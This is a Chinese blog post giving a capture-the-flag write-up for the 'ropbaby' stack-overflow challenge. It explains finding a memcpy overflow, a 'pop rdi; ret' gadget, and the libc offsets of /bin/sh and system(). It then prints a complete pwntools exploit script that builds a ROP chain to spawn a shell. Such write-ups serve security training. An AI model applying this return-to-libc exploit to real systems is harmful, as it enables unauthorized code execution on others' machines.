实验吧_ROPBABY

该博客围绕栈溢出实验展开,目的是检验前期对栈溢出的掌握程度。给出了实验文件的百度网盘链接及提取码。详细阐述实验步骤,先检验保护机制,发现可进行栈溢出,经静态分析找到溢出点,还说明了后续构造gadget、找地址等步骤,最后给出构造的payload及exp.py。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

实验目的

用过这次实验去检验我们前期对栈溢出的掌握程度

实验文件

链接:https://pan.baidu.com/s/14fPpj6nULpywKwMv21r7rA
提取码:qbp9

实验步骤

首先检验ropbaby的保护机制
在这里插入图片描述
发现栈是no canary found,我们可以进行栈溢出。
首先对文件进行静态分析
在这里插入图片描述
发现了 memcpy(&savedregs, nptr, v8),savedregs是_int64型,只有8字节的空间,而nptr有1088字节,这就造成了栈溢出。
因此我们需要做的步骤如下:
1.找到程序漏洞(即溢出点)
2.构造一个gadget,包含pop rdi | retn
3.在libc中找到/bin/sh字符串的地址,送入rdi寄存器
4.找到system函数地址,并使得程序跳转执行system函数

然后进行动态分析
在这里插入图片描述
下面选取有用的:

ROPgadget --binary libc-2.23.so  --only "pop|ret"
0x0000000000020256 : pop rdi ; pop rbp ; ret
0x0000000000021102 : pop rdi ; ret  //这一段就是我们要的gadget,偏移量是0x21102
0x0000000000067499 : pop rdi ; ret 0xffff

下面找到/bin/sh在libc中的地址
在这里插入图片描述
由于程序允许我们查找system的地址,因此我们考虑找到system函数的偏移在这里插入图片描述
0x45390即为system的偏移
所以我们可以构造payload = ‘a’*8 + p64(gaget_addr) + p64(bin_addr) + p64(system_addr)

附上exp.py

#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
p=process('./ropbaby')
p.recvuntil(':')
p.recvuntil(':')
p.sendline('2')
p.recvuntil(':')
p.sendline('system')
p.recvuntil(':')
system_addr=int(p.recv(19),16)#这里":"之后还有一个空格,我一开始只接收18个字符    
print "system_addr="+hex(system_addr)
base_addr=system_addr-0x45390 #libc加载的基地址
print "base_addr="+hex(base_addr)
bin_addr=0x18cd17
bin_addr=base_addr+bin_addr
print "bin_addr="+hex(bin_addr)
gaget_addr=0x21102
gaget_addr=base_addr+gaget_addr
print "gaget_addr="+hex(gaget_addr)
payload = 'a'*8 + p64(gaget_addr) + p64(bin_addr) + p64(system_addr)
print p.recvuntil(':')
print "-------------------------------------------------------------"
p.sendline("3")
p.recvuntil(':')
p.sendline('32')
print payload
p.sendline(payload)
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值